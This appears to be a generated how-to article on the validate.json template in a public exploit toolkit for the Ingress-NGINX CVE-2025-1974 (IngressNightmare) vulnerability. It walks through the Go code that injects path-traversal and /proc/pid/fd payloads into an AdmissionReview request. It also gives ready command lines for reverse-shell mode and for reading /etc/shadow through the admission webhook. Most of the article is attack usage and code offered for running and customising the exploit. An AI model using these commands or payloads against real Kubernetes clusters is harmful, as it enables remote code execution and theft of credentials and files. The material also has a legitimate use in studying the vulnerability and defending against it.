How to Use the validate.json Admission Webhook Template in IngressNightmare

The validate.json template is an embedded AdmissionReview JSON payload that uses Go templating to inject exploit-specific annotations and replaces the placeholder foobar with attacker-controlled file paths before being POSTed to the Ingress-NGINX admission webhook.

The esonhugh/ingressnightmare-cve-2025-1974-exps repository provides a weaponized exploit toolkit for CVE-2025-1974 and related vulnerabilities. Central to its operation is the validate.json admission webhook template, which structures the Kubernetes AdmissionReview request used to trick the NGINX controller into loading malicious shared objects. Understanding how to manipulate this template is essential for both running the default exploits and crafting custom attack scenarios.

What Is the validate.json Template?

The validate.json file located at nginx-ingress/validate.json is a JSON representation of a Kubernetes AdmissionReview object. It contains Go template directives (e.g., {{if .IsAuthURL}}) that conditionally inject malicious annotations depending on which CVE variant is being exploited.

The template includes a critical placeholder string foobar. During the exploit execution, this placeholder is replaced with a path traversal string pointing to either a specific file on the controller's filesystem (e.g., /etc/passwd) or a /proc/<pid>/fd/<fd> entry used to load a malicious shared object.

How the Template Is Loaded and Rendered

Embedding the Default Template

The default template is embedded directly into the compiled binary using Go's //go:embed directive. In nginx-ingress/exploit.go, lines 28-30 declare the embedded resource:

//go:embed validate.json
var validateJsonTmpl string

This ensures the exploit can run immediately without external file dependencies, using the stock AdmissionReview structure provided by the repository.

Overriding with Custom Templates

Users can supply a custom JSON template at runtime using the --validate-json-template (or -t) CLI flag defined in main.go (lines 65-67). When this flag is provided, the tool calls nginx_ingress.SetValidateJsonTmpl to replace the embedded content with the user-supplied file's contents before any exploit logic executes.

ingress-nightmare \
  --validate-json-template ./my-custom-template.json \
  --ingress-webhook-url https://controller:443

Rendering the Template

The RenderValidateJSON function (exploit.go, lines 39-50) processes the template using Go's text/template engine. It evaluates conditional blocks based on the selected exploit method (e.g., IsAuthURL, IsMirrorWithUID, IsAuthTLSMatchCN) and stores the resulting JSON in the global validateJson variable.

func RenderValidateJSON(method string) error {
    tmpl, err := template.New("validate").Parse(validateJsonTmpl)
    if err != nil {
        return err
    }
    // ... executes template with method-specific data ...
}

Substituting the foobar Placeholder

Once the base AdmissionReview JSON is rendered, the exploit must inject the actual target path. This is achieved by replacing the foobar placeholder.

Targeting Specific File Paths

For the "Only Admission" mode (--only-admission), the ValidateWebhookSpecificFilePath function (exploit.go, lines 59-70) constructs a path traversal string:

evilUrl := "../../../../.." + targetFilePath  // targetFilePath is user input like "/etc/passwd"
fullPayload := strings.Replace(validateJson, "foobar", evilUrl, 1)

The resulting fullPayload is then POSTed to the admission webhook endpoint.

Exploiting /proc/pid/fd Entries

In the default reverse-shell mode, the ValidateWebHook function (exploit.go, lines 65-77) iterates through process IDs and file descriptors, replacing foobar with paths like ../../../../../../proc/1234/fd/5. When the NGINX controller follows this symlink, it loads the attacker-controlled shared object uploaded in parallel, executing the reverse shell.

evilUrl := fmt.Sprintf("../../../../../../proc/%d/fd/%d", pid, fd)
fullPayload := strings.Replace(validateJson, "foobar", evilUrl, 1)
// POST fullPayload to webhook

Practical Usage Examples

Display the Built-in Template

To inspect the default AdmissionReview structure without executing an exploit, use the show-json sub-command. This prints the embedded validate.json content to stdout, allowing you to verify the template structure or save it for modification.

ingress-nightmare show-json

Use a Custom Template File

Supply a modified JSON template to alter the AdmissionReview metadata or annotations. Ensure your custom file contains the foobar placeholder where you want the path traversal injected.

ingress-nightmare \
  --validate-json-template ./custom-validate.json \
  --ingress-webhook-url https://ingress-nginx-controller-admission.ingress-nginx.svc:443 \
  --mode r \
  --reverse-shell-ip 10.0.0.5 \
  --reverse-shell-port 4444

Target a Specific File Path

Use the "Only Admission" mode to test arbitrary file read via the admission webhook. This replaces foobar with a direct path to the target file.

ingress-nightmare \
  --only-admission \
  --only-admission-file /etc/shadow \
  --ingress-webhook-url https://ingress-nginx-controller-admission.ingress-nginx.svc:443

Execute Reverse Shell via /proc/fd Traversal

In the default mode, the tool automatically iterates through /proc/<pid>/fd/<fd> paths, replacing foobar dynamically to locate the uploaded shared object and trigger code execution.

ingress-nightmare \
  --mode r \
  --reverse-shell-ip 10.244.0.5 \
  --reverse-shell-port 4444 \
  --ingress-webhook-url https://ingress-nginx-controller-admission.ingress-nginx.svc:443

Summary

  • The validate.json admission webhook template is an embedded Go template that structures the Kubernetes AdmissionReview JSON payload used to exploit CVE-2025-1974.
  • The template is compiled into the binary via //go:embed in nginx-ingress/exploit.go, but can be overridden at runtime using the --validate-json-template flag.
  • The foobar placeholder is the critical injection point; the tool replaces this string with either a direct file path (for arbitrary file read) or a /proc/<pid>/fd/<fd> path (for shared object loading).
  • Rendering occurs in RenderValidateJSON, which processes conditional annotations based on the selected exploit method (IsAuthURL, IsMirrorWithUID, etc.).
  • Use the show-json command to inspect the template, or provide a custom JSON file to modify the AdmissionReview metadata while maintaining the foobar placeholder for successful exploitation.

Frequently Asked Questions

What is the purpose of the foobar placeholder in validate.json?

The foobar string acts as a marker that the exploit engine replaces with a path traversal payload. According to the source code in nginx-ingress/exploit.go, functions like ValidateWebhookSpecificFilePath and ValidateWebHook perform a string replacement (strings.Replace(validateJson, "foobar", evilUrl, 1)) to inject either a target file path (e.g., /etc/passwd) or a /proc/<pid>/fd/<fd> descriptor path before sending the AdmissionReview to the webhook.

Can I modify the validate.json template without recompiling the tool?

Yes. The tool supports runtime template overriding via the --validate-json-template (or -t) CLI flag defined in main.go. When provided, the application calls nginx_ingress.SetValidateJsonTmpl to load your custom JSON file into the global validateJsonTmpl variable, replacing the embedded default. Ensure your custom template retains the foobar placeholder so the exploit logic can correctly inject the malicious path.

How does the tool know which CVE variant to use when rendering the template?

The RenderValidateJSON function in nginx-ingress/exploit.go accepts an exploitMethod string (e.g., IsAuthURL, IsMirrorWithUID, IsAuthTLSMatchCN). It constructs a data struct containing boolean fields corresponding to the selected method and executes the template with this context. The validate.json template uses Go template conditionals ({{if .IsAuthURL}}) to include only the annotations relevant to the specific CVE being exploited, ensuring the AdmissionReview object triggers the correct vulnerable code path in the Ingress-NGINX controller.

What happens if the admission webhook rejects the AdmissionReview request?

If the webhook returns a non-200 status or denies the admission, the exploit functions ValidateWebhookSpecificFilePath and ValidateWebHook will not see the expected "Code Injected!" string in the response body. The tool uses the gout HTTP client to POST the payload, and the current implementation iterates through potential file descriptors or paths until a successful response indicates the shared object was loaded or the file was read. A rejection simply causes the loop to continue to the next iteration (next PID/FD combination or next target file), and the user sees no successful injection message for that specific attempt.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →